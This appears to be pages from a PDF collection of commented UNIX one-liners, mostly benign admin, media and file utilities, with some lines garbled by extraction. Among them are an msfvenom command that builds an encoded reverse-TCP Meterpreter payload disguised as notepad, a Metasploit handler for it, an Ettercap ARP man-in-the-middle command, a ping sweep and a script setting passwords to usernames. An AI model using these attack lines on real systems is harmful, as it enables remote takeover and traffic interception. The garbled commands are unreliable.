# Create thumbnail of PDF
evince-thumbnailer --size=600 book.pdf book.png
# Function to check whether a regular file ends with a newline
end_w_nl() { [[ $(tail -c1 $1 | xxd -ps) == 0a ]] }
# find str in in a directory which file extension is .php
ack --type=php <string>
# quick rename
imv foo
# cat large file to clipboard
cat large.xml | xclip
# Make all GUI stuff show up on the display connected to the computer (when you're logged in
via SSH)
DISPLAY=:0.0; export DISPLAY
# Stop your screen saver interrupting your mplayer sessions
maxplayer (){ while :; do xte 'mousermove -4 20'; sleep 1s; xte 'mousermove
2m; done& mplayer -fs "$1"; fg; }

4 -20'; sleep

# Get sunrise time for any city, by name


sunrise() { city=${1-Seattle}; w3m "google.com/search?q=sunrise:$city" | sed -r
'1,/^\s*1\./d; /^\s*2\./,$d; /^$/d' ;}
# Create and encode a reverse tcp meterpreter payload with shikata_ga_nai.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -e
x86/shikata_ga_nai -i 5 -f exe -x ~/notepad.exe -k > notepod.exe
# write cd/dvd with genisoimage and wodim

349 / 658

All UNIX COMMANDS


TSIZE=`genisoimage -R -q -print-size DIR` && genisoimage -R -J -V "DIR" "DIR" | wodim -eject
-tsize=${TSIZE}s # Capistrano deploy specific branch
cap -s branch=my_branch deploy
# Ettercap MITM
sudo ettercap -T -Q -M arp -i wlan0 // //
# shows whether your CPU supports 64bit mode
grep -q ' lm ' /proc/cpuinfo; [ $? -eq 0 ] && echo '64bit supported'
# Watch changeable interrupts continuously
watch -n1 'cat /proc/interrupts
# p is for pager
p() { l=$LINES; case $1 in do) shift; IFS=$'\n' _pg=( $("$@") ) && _pgn=0 && p r;;
r) echo
"${_pg[*]:_pgn:$((l-4))}";;
d) (( _pgn+=l-4 )); (( _pgn=_pgn>=${#_pg[@]}?${#_pg[@]}l+4:_pgn )); p r;;
u) (( _pgn=_pgn<=l-4?0:_pgn-$l-4 )); p r;; esac; }
# See what apache is doing without restarting it in debug mode
pidof httpd | sed 's/ / -p /g' | xargs strace -fp
# Set user passwords to username from partial password file
awk -F: '{print "echo "$1" | passwd --stdin "$1}' passwd
# Monitor especific process with top
top -p `pgrep pidgin`
# Recursively remove all empty directories
for foo in <list of directories>; do while find $foo -type d -empty 2>/dev/null| grep -q
"."; do find $foo -type d -empty -print0 | xargs -0 rmdir; done; done
# Amplify movie playback
mplayer -af volume=10.1:0 $movie
# Download German word pronounciation as mp3 file
site=http://www.duden.de; wort="Apfel"; wget -O $wort.mp3 $(wget.exe -O "$site/rechtschreibung/$wort" | grep -o "$site/_media_/audio/[^\.]*\.mp3")
# git diff external without additional script
git config --global diff.external 'bash -c "meld $2 $5"'
# Copy to clipboard in addition to stdout (OSX).
alias t="tee >(pbcopy)"

# get date time of foler/file created


du -csh --time *|sort -n|tail

with du -csh

# View latest apache access log


view `ls -1 access_log.* | tail -n 1`
# Batch image resize
for a in `ls`; do echo $a && convert $a -resize <Width>x<Height> $a; done
# Find duplicate dir in path
echo $PATH|tr : '\n'|sort|uniq -d

350 / 658

All UNIX COMMANDS


# display embeded comments for every --opt, usefull for auto documenting your script
vim -n -es -c 'g/# CommandParse/+2,/^\s\+esac/-1 d p | % d | put p | %<' -c 'g/^\([-+]\+
[^)]\+\))/,/^\(\s\+[^- \t#]\|^$\)/-1 p' -c 'q!' $0
# delete all leading and trailing whitespace from each line in file
sed 's/^\s*//;s/\s*$//' -i file
# Extract every parted-files which had the same password
find . -name '*.part1.rar' -exec unrar e \{\} -pPASSWORD \;
# Discover unoptimized MySQL tables and optimize them.
for table in $(echo "select concat(TABLE_SCHEMA, '.', TABLE_NAME) from
information_schema.TABLES where TABLE_SCHEMA NOT IN ('information_schema','mysql') and
Data_free > 0" | mysql --skip-column-names); do echo "optimize table ${table}" | mysql;
done;
# Start handler in metasploit to listen for reverse meterpreter connections
msfcli payload=windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 E
# Sort and count subjects of emails stuck in Exim queue
grep -R Subject /var/spool/exim/input/ | sed s/^.*Subject:\ // | sort | uniq -c | sort -n >
~/email_sort.$(date +%m.%d.%y).txt
# list unique file extensions recursively for a path, include extension frequency stats
find /some/path -type f -and -printf "%f\n" | egrep -io '\.[^.]*$' | sort | uniq -c | sort
-rn
# Capture screen with timer
sleep 3;import -window root output.png
# Recursively remove all empty directories
rmdir --ignore-fail-on-non-empty -p **/*(/^F)
# Batch rename and number files
i=1; for f (*.jpg) zmv $f '${(l:3::0:)$((++i))}'$f
# PHPUnit: Show the 5 slowest tests with their runtime
phpunit --log-json php://stdout | awk '$NF ~ '/,/' && $1 ~ /"(test|time)"/' | cut -d: -f2- |
sed "N;s/\n/--/" | sed "s/,//"| awk 'BEGIN{FS="--"}; {print $2 $1}' | sort -r | head -n 5
# &#26368;&#24120;&#20351;&#29992;&#30340;10&#20010;&#21629;&#20196;
history |awk '{print $3}' |awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c |sort -rn |head -10
# Find out how to say the first 66 digits of pi as a word
pi 66 | number
# Puts every word from a file into a new line
sed -r 's/[ \t\r\n\v\f]+/\^J/g' INFILE > OUTFILE
# Change your e-mail address in multiple files
sed -i 's/oldname@example.com/newname@example.com/g' `grep oldname@example.com -rl .`
# Capture and re-use expensive multi-line output in shell
OUTPUT="`find / -type f`" ; echo "$OUTPUT" | grep sysrq ; echo "$OUTPUT" | grep sysctl ;
echo "$OUTPUT" | less
# Quick Battery Power Monitor
watch -n 5 "upower -d | grep energy -A 4"
# See OpenVZ Container id's of top 10 running processes by %cpu

351 / 658

All UNIX COMMANDS


ps -e h -o pid --sort -pcpu | head -10 | vzpid # Validate openssh key & print checksum
ssh-keygen -l -f [pubkey] | cut -d ' ' -f 2 | tr -ds '\n:' ''
# Delete temporary LaTeX files (aka delete stuff only if corresponding source file exists)
rm -v *.(log|toc|aux|nav|snm|out|tex.backup|bbl|blg|bib.backup|vrb|lof|lot|hd|idx)(.e/'[[ -f
${REPLY:r}.tex ]]'/)
# Generate random number with shuf
seq 10| shuf | head -1

# rename multiple files with different name, eg converting all txt to csv
zmv '(*).txt' '$1.csv'
# Losslessly combine all MP3s in a directory (e.g. an audiobook)
ffmpeg -i "concat:$(find . -name "*.mp3" | sort | tr '\n' '|')" -acodec copy ../$(basename $
(pwd)).mp3 && mp3val -f ../$(basename $(pwd)).mp3
# Add member to domain group
net group groupname username /add /domain
# Get the URL for the git-annex webapp
grep URL ~/annex/.git/annex/webapp.html | tr -d '">' | awk -F= '{print $4 "=" $5}'
# Dump an rpm's package details (besides the files)
rpm --querytags | egrep -v HEADERIMMUTABLE | sort | while read tag ; do rpm -q --queryformat
"$tag: [%{$tag} ]\n" -p $SomeRPMfile ; done
# change current directory permissions and only sub-directories recursively (not files)
find . -type d -exec chmod XXXX {} \;
# Top 10 commands used
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -nr |
head
# Change the primary group of a user
useradd -g linux anish && id
# convert unixtime to human-readable
cat log | perl -ne 'use POSIX; s/([\d.]+)/strftime "%y-%m-%d %H:%M:%S", localtime $1/e,print
if /./'
# macports update
sudo port selfupdate ; echo '---------' ; sudo port upgrade outdated
# Print file content in reverse order
tac filename.txt
# Start a random channel from the uk site tvcatchup.com
randchannelurl=$(lynx -dump http://www.tvcatchup.com/channels.html | grep watch | sed
's/^......//'| awk 'BEGIN { srand() } int(rand() * NR) == 0 { x = $0 } END { print x }') &&
firefox -new-window $randchannelurl
# Rewrap an AVCHD (MTS/M2TS) video as MOV
ffmpeg -i "input.mts" -vcodec copy -acodec pcm_s16le "output.mov"
# infile search and replace on N files

352 / 658

All UNIX COMMANDS


perl -pi -e's/foo/bar/g' file1 file2 fileN
# Fibonacci numbers with awk
awk 'BEGIN {a=1;b=1;for(i=0;i<'${NUM}';i++){print a;c=a+b;a=b;b=c}}'
# StopWatch, OnScreen version, blinking shily on all desktops
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ;
seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $
(printf "%02d:%02d:%02d" $hours $minutes $seconds) | osd_cat -o 20 -d 1 -p bottom'
# Cleanly quit KDE4 apps
kbuildsycoca4 && kquitapp plasma-desktop && kstart plasma-desktop
# add a particular track to a playlist by looking for a part of its file name
find `pwd` -iname *SEARCH_STRING* >> ~/PLAYLIST_NAME.m3u
# send email with attachment
mutt -s "Subject" -a attachment -- example@tutorialarena.com
# What value should I set my TCP/IP MTU (Max. Transmission Unit) to?
pktsize=1516;for i in $( seq $pktsize -8 1450 ) ; do ping -M do -s $i -c 1 slashdot.org;
done
# BW gradient
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .
01; done
# Get the file name having biggest size in directory.
ls -l| sort +4n|tail -1| awk '{print $NF}'
# Add sudo with shortcut alt+e in bash
bind '"\ee": "\C-asudo \C-e"'
# Compare local and remote files using SCP/VIM/DIFF
vimdiff local_dir1/local_file.xml
scp://user@remote_host//remote_absolute_location/remote_file.xml
# Produces a list of when your domains expire
cat domainlist.txt | while read line; do echo -ne $line; whois $line | grep Expiration ;
done | sed 's:Expiration Date::'

# Remove CR from Windows- / DOS-textfiles


dos2unix file.txt
# Get Futurama quotations from slashdot.org servers
curl -Is slashdot.org | sed -ne '/^X-[FBL]/s/^X-//p'
# StopWatch, toilet version, amazing format inside terminal
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ;
seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $
(printf "%02d:%02d:%02d" $hours $minutes $seconds) | toilet -f shadow'
# Parse an RPM name into its components - fast
parse_rpm() { RPM=$1;B=${RPM##*/};B=${B%.rpm};A=${B##*.};B=${B%.*};R=${B##*-};B=${B%-*};V=$
{B##*-};B=${B%-*};N=$B;echo "$N $V $R $A"; }
# IP list of aborted mail logins

353 / 658

All UNIX COMMANDS


grep -i "aborted login" /var/log/maillog | awk 'BEGIN{FS="="}{print substr($4,8)}' | cut
-d"," -f1
# Convert all FLV's in a directory to Ogg Theora (video)
for i in $(ls *.flv); do ffmpeg2theora -v 6 --optimize $i; done
# see who is on this machine
w
# One liner to parse all epubs in a directory and use the calibre ebook-convert utility to
convert them to mobi format
for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --preferauthor-sort --output-profile=kindle --linearize-tables --smarten-punctuation --asciiize
--enable-heuristics;done
# see the size of the downloaded traffic
watch -n 1 "echo | sudo iptables -nvL | head -1 | awk '{print \$7}'"
# Print duplicate files
find . -type f -print0 | xargs -0 -n1 md5sum | sort -k 1,32 | uniq -w 32 -d --allrepeated=separate | sed -e 's/^[0-9a-f]*\ *//;'
# Ping sweep without NMAP
prefix="169.254" && for i in {0..254}; do echo $prefix.$i/8; for j in {1..254}; do sh -c
"ping -m 1 -c 1 -t 1 $prefix.$i.$j | grep \"icmp\" &" ; done; done
# Recursively backup files
find /var/www/ -name file -exec cp {} {}.bak \;
# Display sorted, human readable list of file and folders sizes in your current working
directory
du -had 1 | sort -h
# AIX: get LUN ID for a given filesystem
getlunid() { lv=$(df -P $1|grep "^/dev/"|awk '{print $1}'|awk -F/ '{print $3}'); hd=$(lslv
-l $lv|tail -1|awk '{print $1}');id=$(odmget -q "name like $hd AND attribute=unique_id"
CuAt|grep "value ="|awk -F= '{print $2}'|tr -d '"');echo $id;}
# Uncompress a CSS file
cat somefile.css | awk '{gsub(/{|}|;/,"&\n"); print}' >> uncompressed.css
# Reconstruct a malformed authorizated_keys for ssh
cat authorized_keys_with_broken_lines | sed 's,^ssh,%ssh,' | tr '\n' '\0'
sed '1d' | sed "/^$/d" > authorized_keys

| tr '%' '\n' |

# Get IPv4 of eth0 for use with scripts


ifconfig eth0 | perl -ne "print if m/inet addr:((\d+\.){3})+/" | sed "s/inet addr//" | sed
"s/Bcast//" |awk -F: '{print $2}'
# list all files modified in the last 24 hours descending from current directory
find . -type f -mtime -1 \! -type d -exec ls -l {} \;
# Fast CLI Timer
time read x
# wala
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=Bilal
Butt&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
# ls output with mode in octal

354 / 658

All UNIX COMMANDS


lso(){ jot -w '%04d' 7778 0000 7777 |sed '/[89]/d;s,.*,printf '"'"'& '"'"';chmod & '"$1"';ls
-l '"$1"'|sed s/-/./,' \ |sh \ |{ echo "lso(){";echo "ls \$@ \\";echo " |sed '";sed 's,
,@,2;s,@.*,,;s,\(.* \)\(.*\),s/\2/\1/,;s, ,,';echo \';echo };};}
# Smiley prompt based on command exit status
export PS1="\[\e[01;32m\]\u@\h \[\e[01;34m\]\W \`if [ \$? = 0 ]; then echo -e '\
[\e[01;32m\]:)'; else echo -e '\[\e[01;31m\]:('; fi\` \[\e[01;34m\]$\[\e[00m\]"
# Pretty print all of the Linux vm sysctls for your viewing pleasure
find /proc/sys/vm -maxdepth 1 -type f | while read i ; do printf "%-35s\t%s\n" "$i" "$(<$i)"
; done | sort -t/ -k4
# Get Unique Hostnames from Apache Config Files
egrep 'ServerAlias|ServerName' /etc/apache2/sites-enabled/*.conf | awk '{printf "%s\t%s\n",
$2,$3}' | sed 's/www.//' | sort | uniq
# find and delete files smaller than specific size
find . -type f -size -80k -print0|xargs -0 rm

# Recursively backup files


find /var/www/ -name file -exec cp {}{,.bak} \;
# Check if variable is a number
(($1 > 0)) && echo "var is a number"
# Batch JPEG rename to date using ImageMagick
for fil in *.JPG; do datepath="$(identify -verbose $fil | grep DateTimeOri | awk '{print
$2"_"$3 }' | sed s%:%_%g)"; mv -v $fil $datepath.jpg; done
# Read recursive directory listings at leisure
ls -lR | less
# grep BTC last trading price from BTC-E, but u can change it.. they got em all
wget -q -O- http://bitinfocharts.com/markets/btc-e/btc-usd.html |grep -o -P 'lastTrade">([09]{1,})(.){0,1}[0-9]{0,}' |grep -o -P '(\d)+(\.){0,1}(\d)*' |head -n 1
# Number of seconds to certain unix date
echo $( (( $( (2**31 -1) ) - $(date +%s) )) )
# Fibonacci numbers with sh
prev=0;next=1;echo $prev;while(true);do echo $next;sum=$(($prev+
$next));prev=$next;next=$sum;sleep 1;done
# Find all dot files and directories
printf "%s\n" .*
# Set X keymap to dvorak and fix the Ctrl key.
setxkbmap dvorak '' ctrl:nocaps
# Get IPv4 of eth0 for use with scripts
ip addr show eth0 |grep 'inet\b' |awk '{print $2}' |sed
# solaris: get seconds since epoch
truss date 2>&1 | awk '/^time/{print $3}'
# kill all process that belongs to you

355 / 658

-r -e 's/\/.*?//g'

All UNIX COMMANDS


ps -u $USER -lf | grep -vE "\-bash|sshd|ps|grep|PPID" > .tmpkill; if (( $(cat .tmpkill | wc
-l) > 0 )); then echo "# KILL EM ALL"; cat .tmpkill; cat .tmpkill | awk '{print $4}' | xargs
kill -9; else echo "# NOTHING TO KILL"; fi; cat .tmpkill; rm .tmpkill;
# git-rm for all deleted files, including those with space/quote/unprintable characters in
their filename/path
git ls-files -z -d | xargs -0 git rm -# terminal based annoy-a-tron
while true; do sleep $(($RANDOM/1000)) && beep -f 2000 -l $(($RANDOM/100)) ; done
# 'readlink' equivalent using shell commands, and following all links
myreadlink() { [ ! -h "$1" ] && echo "$1" || (local link="$(expr "$(command ls -ld -- "$1")"
: '.*-> \(.*\)$')"; cd $(dirname $1); myreadlink "$link"; }
# display lines in /etc/passwd between line starting ...
< /etc/passwd sed -n "/^bin:/,/^lp:/p"
# Random cowsay with figlet typhography
figlet -f $(ls /usr/share/figlet/fonts/*.flf | shuf -n1) namakukingkong | cowsay -n -f $
(ls /usr/share/cows/ | shuf -n1)
# Kill the process *group* containing a process named svscan (djb's daemontools)
kill -9 -$(ps x -o "%c %r" | awk '/svscan/{print $2}')
# Count the number of lines of code, returns total
find . \( -iname '*.cpp' -o -iname '*.h' \) -exec wc -l {} \; | sort -n | cut --delimiter=.
-f 1 | awk '{s+=$1} END {print s}'
# Use emacs in place of tail -f
function emon { emacs "$1" --eval '(auto-revert-tail-mode)' --eval '(setq buffer-read-only
t)' --eval '(goto-char (point-max))' }
# convert single digit to double digits
for f ([0-9].txt) zmv $f '${(l:1::0:)}'$f
# Fetches a Reddit user's ($USER) link karma
curl -s http://www.reddit.com/user/$USER/about.json | tr "," "\n" | grep "link_karma" | tr
": " "\n" | grep -E "[0-9]+" | sed s/"^"/"Link Karma: "/
# Batch symbolic links creation
for i in '/tmp/file 1.txt' '/tmp/file 2.jpg'; do ln -s "$i" "$i LINK"; done
# Add audio CD to xmms2 playlist
xmms2 addpls cdda://
# Archive every file in /var/logs
find /var/logs -name * | xargs tar -jcpf logs_`date +%Y-%m-%e`.tar.bz2

# Find all bash functions in a file


functions(){ read -p "File name> "; sort -d $REPLY | grep "(){" | sed -e 's/(){//g' |
less; }
# Export mysql database to another database without having to save the output first
mysqldump -u<username> -p<password> -h<source database host> databasename table1 table2
table_n | mysql -u<user> -p<password> -h<destination database host> databasename
# Realtime clock cowsay

356 / 658

All UNIX COMMANDS


watch -tn1 'figlet -f slant

`date +%T` | cowsay -n -f telebears'

# Disable an interface's multicast filter for testing


ifconfig eth0 allmulti
# Wipe a directory recursively & safely
wipe -rfqQ 10 directory/
# Poor man's pomodoro timer
echo "aplay ring.wav" | at now + 25 min
# Batch rename of files (names from file)
ls | paste --delimiters='*' - ./zzz | awk ' BEGIN{FS="*";} { system("mv " $1 " \"" $2
"\"") }'
# psgrep(command)
psgrep() { ps aux | tee >(head -1>&2) | grep -v " grep $@" | grep "$@" -i --color=auto; }
# Ping all hosts on 192.168.1.0/24
ping -b 192.168.0.255
# List files that are not owned by any installed package
for file in /usr/bin/*; do pacman -Qo "$file" &> /dev/null || echo "$file"; done
# search package descriptions (apt)
apt-cache search someregex
# Check version of DNS Server
nslookup -q=txt -class=CHAOS version.bind NS.PHX5.NEARLYFREESPEECH.NET
# Count files created by date/modification
find . -type f -exec stat \{\} \; | grep Modify: | awk '{a[$2]++}END{for(i in a){print i " :
" a[i] }}' | sort
# deleter
today=`date +%d`; ls -ltr | rm -f `nawk -v _today=$today '{ if($5 != 0 && $7 < _today)
{ print $9 } }'`
# collapse first five fields of Google Adwords export .tsv file into a single field, for
gnumeric
awk -F $'\t' '{printf $1 LS $2 LS $3 LS $4 LS $5; for (i = 7; i < NF; i++) printf $i "\t";
printf "\n";}' LS=`env printf '\u2028'` 'Ad report.tsv'
# Hunt for the newest file.
fn=$(find . -type f -printf "%T@\t%p\n"|sort -n|tail -1|cut -f2); echo $(date -r "$fn")
"$fn"
# Copy current/working directory to clipboard
pwd | tr -d '\n' | xsel -b
# get the revision number of your svn working copy
svbversion .
# Extract text from all PDFs in curdir & subdirs to new files named as source+.txt, linux
only.
echo '#!/bin/bash' > junk.sh ; find . -iname *.pdf -type f -printf \p\s\2\a\s\c\i\i\ \"%p\"\
\ \"%p\.\t\x\u\"\;\ \p\a\r\ \<\"%p\.\t\x\u\"\ \>\"%p\.\t\x\t\"\ \;\
\r\m\ \"%p\.\t\x\u\"\ \\n >>junk.sh; chmod 766 junk.sh; ./junk.sh ; rm junk.sh
# Creating new user with encrypted password

357 / 658

All UNIX COMMANDS


useradd -m -s /bin/bash -p $(mkpasswd --hash=SHA-512 password) username
# convert flac files to mp3 files into subdir mp3
IFS=$(echo -en "\n\b"); input="/my/input/dir/*.flac"; mkdir -p $(dirname $f)/mp3; for f in
$input; do ffmpeg -i $f -ab 196k -ac 2 -ar 48000 $(dirname $f)/mp3/$(basename "${f:0:${#f}4}mp3"); done
# Download an entire website from a specific folder on down
wget --recursive --no-clobber --page-requisites --html-extension --convert-links --domains
website.org --no-parent www.website.com/folder
# Generate random valid mac addresses
openssl rand -hex 6 | sed 's/\(..\)/:\1/g; s/^.\(.\)[0-3]/\12/; s/^.\(.\)[4-7]/\16/; s/^.\
(.\)[89ab]/\1a/; s/^.\(.\)[cdef]/\1e/'
# simple nbtstat -a equivalent/alias for linux (uses nmblookup)
alias nbtstat='nmblookup -S -U <server> -R'
# Add crc32 checksum in the filenames of all mp4
for file in *.mp4; do mv "$file" "${file%.*} [$(cksfv -b -q "$file" | egrep -o "\b[A-F0-9]
{8}\b$")].${file#*.}"; done

# Clear filesystem memory cache


sysctl -w vm.drop_caches=3
# Delimiter Hunting
comm -13 <(od -vw1 -tu1 dummy.txt|cut -c9-|sort -u) <(seq 0 127|sort)|perl -pe '$_=chr($_)'|
od -c
# View Manufacturer, Model and Serial number of the equipment using dmidecode
dmidecode -t system
# Execute ls -lah every one second
while true; do ls -lah && sleep 1; done
# check the status of 'dd' in progress (OS X)
while pgrep ^dd; do pkill -INFO dd; sleep 10; done
# How to HTMLize many files containing accents ?|?|?|?|?
for i in `grep -ri "?\|?\|?\|?\|?" * --col | cut -d: -f1 |sort -u `;do sed -i
"s/?/\&aacute;/g" $i; sed -i "s/?/\&eacute;/g" $i; sed -i "s/?/\&iacute;/g" $i; sed -i
"s/?/\&oacute;/g" $i; sed -i "s/?/\&uacute;/g" $i; echo "HTMLizing file [$i]";done
# for loop, counting forward for backward
for i in {1..15}; do echo $i; done
# Sum using awk
ps -ylC httpd --sort:rss | awk '{ SUM += $8 } END { print SUM/1024 }'
# Display any udp/tcp connections by process name or by process id
lsof -nP -c COMMAND | egrep -o '(TCP|UDP).*$' | sort -u
# flush stdin in bash
read -t 0.1 -N 255
# Expand shortened URLs
expandurl() { wget -S $1 2>&1 | grep ^Location; }

358 / 658

All UNIX COMMANDS


# Find processes stuck in dreaded "D" state aka IO Wait
ps aux | awk '{if ($8 ~ "D") print $0}'
# Displays all the fields of a table, really usefull to run it inside editor (Emacs or vim)
echo "DESCRIBE dbname.table_name" | mysql -u dbusername | awk '{print $1}' | grep -v Field
# Find corrupted jpeg image files
find . -iname '*jpg' -print0 | xargs -0 exiftool -warning; find . -iname '*jpg' -print0
xargs -0 jpeginfo -c
# Threads and processes of a user
$ ps -LF -u user
# Convert all .weblock files in present directory (Apple url) to a url on the stdout.
strings * |grep -v "Apple" |grep http |uniq |sed "s/<[^>]\+>//g"
# Display only hosts up in network
nmap -sP your network/submask | awk "/^Host/"'{ print $2 }'
# Working random fact generator
lynx -dump randomfunfacts.com | grep -A 3 U | sed 1D
# External IP address
wget http://cmyip.com -O - -o /dev/null | grep -Po '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'
# Active Internet connections (only servers)
netstat -lnptu
# remove all CVS directories
find . -type d -name 'CVS' -exec rm -r {} \;
# Convert wma to mp3@128k
for f in *.wma; do ffmpeg -i "$f" -ab 128k "${f%.wma}.mp3" -ab 128K; done
# Print a list of all disks or volumes attached to a system
awk '{if ($NF ~ "^[a-zA-Z].*[a-zA-Z]$" && $NF !~ "name" || $NF ~ "c[0-9]+d[0-9]+$") print
"/dev/"$NF}' /proc/partitions
# Copy a file over SSH without SCP
ssh username1@servername1 -t ssh username2@servername2 uuencode -m testfile1.tar - |
uudecode > testfile1.tar
# Split SQL/TXT File into 12000 Lines Each File and then Add .sql Extension to File
split -l 12000 -a 5 database.sql splited_file i=1 for file in splited_file* do mv $file
database_${i}.sql i=$(( i + 1 )) done

# Recursive find and replace in h an cpp files


find . -name "*.h" -o -name "*.cpp" | xargs sed -i 's/addVertexes/addVertices/g'
# Compile all .less files to .css
find *.less | xargs -I {} lessc {} {}.css && ls *.less.css | sed -e 'p;s/less.css/css/' |
xargs -n2 mv
# Delete residues configuration files
dpkg -l | grep ^rc | awk '{print $2}' | sudo xargs dpkg -P
# Cleanly list available wireless networks (using iwlist)

359 / 658

All UNIX COMMANDS


iwlist wlan0 scan | sed -ne 's#^[[:space:]]*\(Quality=\|Encryption key:\|ESSID:\)#\1#p' -e
's#^[[:space:]]*\(Mode:.*\)$#\1\n#p'
# analyze traffic remotely over ssh w/ wireshark
ssh root@HOST tcpdump -iany -U -s0 -w - 'not port 22' | wireshark -k -i # encrypt sensitive image using password
read -s PASS; echo $PASS | convert sensitive.jpg -encipher - -depth 8 png24:hidden.png
# Print out all partitions on a system
awk '{if ($NF ~ "^[a-zA-Z].*[0-9]$" && $NF !~ "c[0-9]+d[0-9]+$" && $NF !~ "^loop.*") print
"/dev/"$NF}' /proc/partitions
# List all symbolic links in current directory
ls -l | grep "\->"
# When using mkvirtualenv, make the current directory your base and cd into that directory
every time you workon that project
echo 'echo "cd `pwd`" >> $VIRTUAL_ENV/bin/postactivate' >> $VIRTUAL_ENV/../postmkvirtualenv
# replace spaces in filenames with underscores
zmv '* *' '$f:gs/ /_'
# Get a list of all TODO/FIXME tasks left to be done in your GIT project
alias tasks='git grep -EI "TODO|FIXME"'
# Zip all subdirectories into zipfiles
for f in `find . \( ! -name . -prune \) -type d -print`; do zip $f.zip $f; done
# List bash functions defined in .bash_profile or .bashrc
declare -F | sed 's/^declare -f //'
# View the newest xkcd comic.
xkcd() { wget -qO- http://xkcd.com/ | sed -n 's#^<img src="\(http://imgs.[^"]\+\)"\s\
+title="\(.\+\?\)"\salt.\+$#eog "\1"\necho '"'\2'#p" | bash ; }
# trace http requests with tshark
tshark -i en1 -z proto,colinfo,http.request.uri,http.request.uri -R http.request.uri
# Get a server's serial number or Dell service tag from within linux
dmidecode -s system-serial-number
# resize canvas of image and fill it with transparence
convert input.png -gravity NorthWest -background transparent -extent 720x200

output.png

# Count unique lines in file sorted by instance count (descending) and alphabetically
(ascending)
sort file.txt | uniq -c | sort -k1nr -k2d
# how much time restart the wls service?
more restart_weblogic.log | grep "LISTEN" | awk '{ print $7 }' | uniq | wc -l
# List you configure's ip address in your system
ip addr list | grep global | awk '{print $7"\t"$2}'
# mercurial close branch
hg commit --close-branch -m 'close badbranch, this approach never worked'
# Find all PowerPC applications on OS X

360 / 658

All UNIX COMMANDS


system_profiler SPApplicationsDataType | perl -nl -e '@al=<>; $c=@al; while($j<$c)
{ $apps[$i].=$al[$j]; $i++ if ($al[$j] ) =~ /^\s\s\s\s\S.*:$/; $j++} while($k<$i)
{ $_=$apps[$k++]; if (/Kind: PowerPC/s) {print;}}'
# Find in all files in the current directory, just a find shorthand
grep -H -n "pattern" *
# Remove all the files except abc in the directory
rm *[!abc]
# Remove acentuation from file names in a directory.
for i in *; do mv -vi "$i" "`echo "$i"|sed
y/????????????????????????/AAAAEEIOOUUCaaaaeeioouuc/`"; done; sync

# mencoder convert video to xvid


mencoder input_file -o output_file -oac mp3lame -lameopts cbr:br=32 -ofps 30 -vf harddup
-ovc xvid -xvidencopts fixed_quant=3
# Enumerate rubygems environment
gem env
# list and kill any processes currently using /mount
fuser -vmk /mount
# Extract files from an ISO image without being root
xorriso -osirrox on -indev /tmp/pmagic-6.7.iso -report_about NOTE -extract /
/tmp/extractedfiles
# sum and average of requests responses times or sizes in Apache2 access log
egrep '.*(("STATUS)|("HEAD)).*' http_access.2012.07.18.log | awk '{sum+=$11; ++n} END {print
"Tot="sum"("n")";print "Avg="sum/n}'
# bin file of a pid
readlink -f /proc/$pid/exe
# Find today created files
print -rl **/*(.m0)
# Do Google search from the shell, opening into Chromium or a new Firefox tab if not
installed.
google() { gg="https://www.google.com/search?q=";q="";if [[ $1 ]]; then for arg in "$@" ; do
q="$q+$arg"; done ; if [[ -f /usr/bin/chromium ]]; then chromium "$gg"$q; else firefox -newtab "$gg"$q; fi else echo 'Usage: google "[seach term]"'; fi }
# split mp3 file to chunks
mp3splt -t 1.0 myfile.mp3 -o @n_@f -d out_dir
# Get a PostgreSQL servers version
psql -h <SERVER NAME HERE> -t -c 'SELECT version();' |head -1
# Delete all lines after the first match
sed -n -e '1,/match/p'
# bbs in utf8 console
luit -encoding gbk telnet bbs.sysu.edu.cn
# Search OpenSolaris packages and show only the pkg names
pkg search SEARCH_TERM | awk '{print $NF}' | sed -e 's;.*/\(.*\)\@.*;\1;' | sort -u

361 / 658

All UNIX COMMANDS


# archlinux: find more commands provided by the package owning some command
w=`whereis <command> | awk '{print $2}'`; p=`pacman -Qo $w | sed -e 's/.*is owned by \
([[:alpha:]]\+\).*/\1/'`; pacman -Ql $p | grep 'bin'
# Add all unversioned files to svn
svn stat | grep "^\?" | awk '{ print "svn add " $2 }' | bash
# Expand shortened URLs
expandurl() { curl -sIL $1 2>&1 | awk '/^Location/ {print $2}' | tail -n1; }
# Backup all MySQL Databases to individual files
while read; do mysqldump $REPLY | gzip > "/backup/mysql/$REPLY.sql.gz"; done < <( mysql -e
'show databases' -s --skip-column-names )
# command to find when the last commit has happened from the server
svnlook date /path/to/repo
# Upgrading packages. Pacman can update all packages on the system with just one command.
This could take quite a while depending on how up-to-date the system is. This command can
synchronize the repository databases and update the system's packages.
sudo pacman -Syu
# Opens an explorer.exe file browser window for the current working directory
open() { explorer /e, $(cygpath -wap "${1:-$PWD}"); }
# Generate a Random (unicast) MAC address
openssl rand -hex 1 | tr '[:lower:]' '[:upper:]' | xargs echo "obase=2;ibase=16;" | bc | cut
-c1-6 | sed 's/$/00/' | xargs echo "obase=16;ibase=2;" | bc | sed "s/$/:$(openssl rand -hex
5 | sed 's/\(..\)/\1:/g; s/.$//' | tr '[:lower:]' '[:upper:]')/"
# List encoding of ? in all avalible char sets
for i in `recode -l | cut -d" " -f 1`; do echo $i": ?" | recode utf-8..$i -s -p >> temp;
done; vim temp
# extract all tgz in current dir
ls *tgz | xargs -n1 tar xzf
# Create a tar of modified/added files since revision 1792.
svn diff -r 1792:HEAD --summarize | awk '{if ($1 != "D") print $2}'| xargs
incremental_release.tar {}
# Display hardware information about PCI / PCIe Slots
# dmidecode --type 9

# List all username for accounts using bash shell


